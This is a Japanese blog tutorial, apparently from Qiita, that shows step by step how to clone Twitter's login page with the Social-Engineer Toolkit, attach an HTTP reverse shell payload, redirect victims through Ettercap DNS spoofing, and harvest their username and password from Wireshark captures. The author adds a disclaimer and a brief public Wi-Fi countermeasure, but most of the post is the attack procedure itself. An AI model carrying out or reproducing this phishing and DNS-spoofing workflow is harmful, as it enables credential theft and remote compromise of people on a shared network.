Kali LinuxでWebサイトのコンテンツをクローニング(コピー)し、偽サイトにターゲットを誘導して、ユーザ名パスワード名取得します。ただあくまでローカルネットワークのみの話です。公衆Wi-fiに接続したりLAN内に悪意を持った人がいない限りは大丈夫です。ただこれを外の世界でやったら法に触れるので、ある要所は書いてないです。自己責任でお願いします。
今回Twitterのログイン画面をクローニングします。
前提
Kali Linux実行環境があること。
⇒ Virtual BoxにKali Linuxインストール
Webクローニング
SET(Social Engineering Toolkit)というツールを使います。
起動
root@kali:~# setoolkit
Social-Engineering Attacksを選択。
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set> 1
Website Attackを選択
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.
set> 2
Java Applet Attackを選択
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) Full Screen Attack Method
8) HTA Attack Method
99) Return to Main Menu
set:webattack>1
Site Clonerを選択。
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>2
noを選択。
set> Are you using NAT/Port Forwarding [yes|no]: no
そのままEnter
set> IP address or URL (www.ex.com) for the payload listener (LHOST) [172.20.10.4]:
SET組み込みのものを選択。
1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.
Enter the number you want to use [1-3]: 2
クローンするURLを入力。
set:webattack> Enter the url to clone:https://twitter.com/login
```
4を指定。
```
What payload do you want to generate:
Name: Description:
1) Meterpreter Memory Injection (DEFAULT) This will drop a meterpreter payload through powershell injection
2) Meterpreter Multi-Memory Injection This will drop multiple Metasploit payloads via powershell injection
3) SE Toolkit Interactive Shell Custom interactive reverse toolkit designed for SET
4) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with AES encryption support
5) RATTE HTTP Tunneling Payload Security bypass payload that will tunnel all comms over HTTP
6) ShellCodeExec Alphanum Shellcode This will drop a meterpreter payload through shellcodeexec
7) Import your own executable Specify a path for your own executable
8) Import your own commands.txt Specify payloads to be sent via command line
set:payloads>4
```
この時点で以下画面になりターゲットの接続を待つ状態となります。
<img width="559" alt="キャプチャ2.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/a6b0387c-cbbc-71f2-cc9b-829360c5f32d.png">
## DNSスプーフィング
このままではKali LinuxのIPをブラウザで指定しない限り、ターゲットはクローンしたTwitterのページを見ません。そのためEttercapを使ってDNSスプーフィングをします。DNSスプーフィングはローカルネットワークレベルでDNSに影響を与えるものです。
※ただ実はこの設定だけではダメです。あと何が必要かは考えましょう。
etter.dnsの設定
```
vi /etc/ettercap/etter.dns
※最下部でよいので以下記載
twitter.com A ターゲットIP
*.twitter.com A ターゲットIP
www.twitter.com A ターゲットIP
allowed
```
## Wireshark起動
Wiresharkを立ち上げ、キャプチャを開始します。
```
wireshark &
```
## ログイン情報搾取
するとターゲットがtwitter.comに接続した場合、twitterの画面が表示され、Kali Linux側はターゲットのIPが表示されます。
ターゲットは以下Kali Linuxがクローニングしたページでログインしようとしますが、元の画面に戻ってしまいます。
<img width="643" alt="キャプチャ4.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/723c2d27-edc6-3e3e-92dc-d45ca288909c.png">
Wireshark側はターゲットがPOSTした情報をキャプチャすることができるという流れです。
該当キャプチャ右クリック > 追跡 >HTTPストリーム
<img width="608" alt="キャプチャ5.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/f8a39f52-9a15-dc5f-f2d9-43622335d57c.png">
POST内容
<img width="658" alt="キャプチャ6.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/5b72a29b-4e79-f5f4-a203-c007dc837ab7.png">
email%5D=09000000000&session%5Bpassword%5D=test1234
上記ログイン情報が表示されます。
## 対策
自動Wi-fi接続機能を使って公衆Wi-fiに接続しないでください。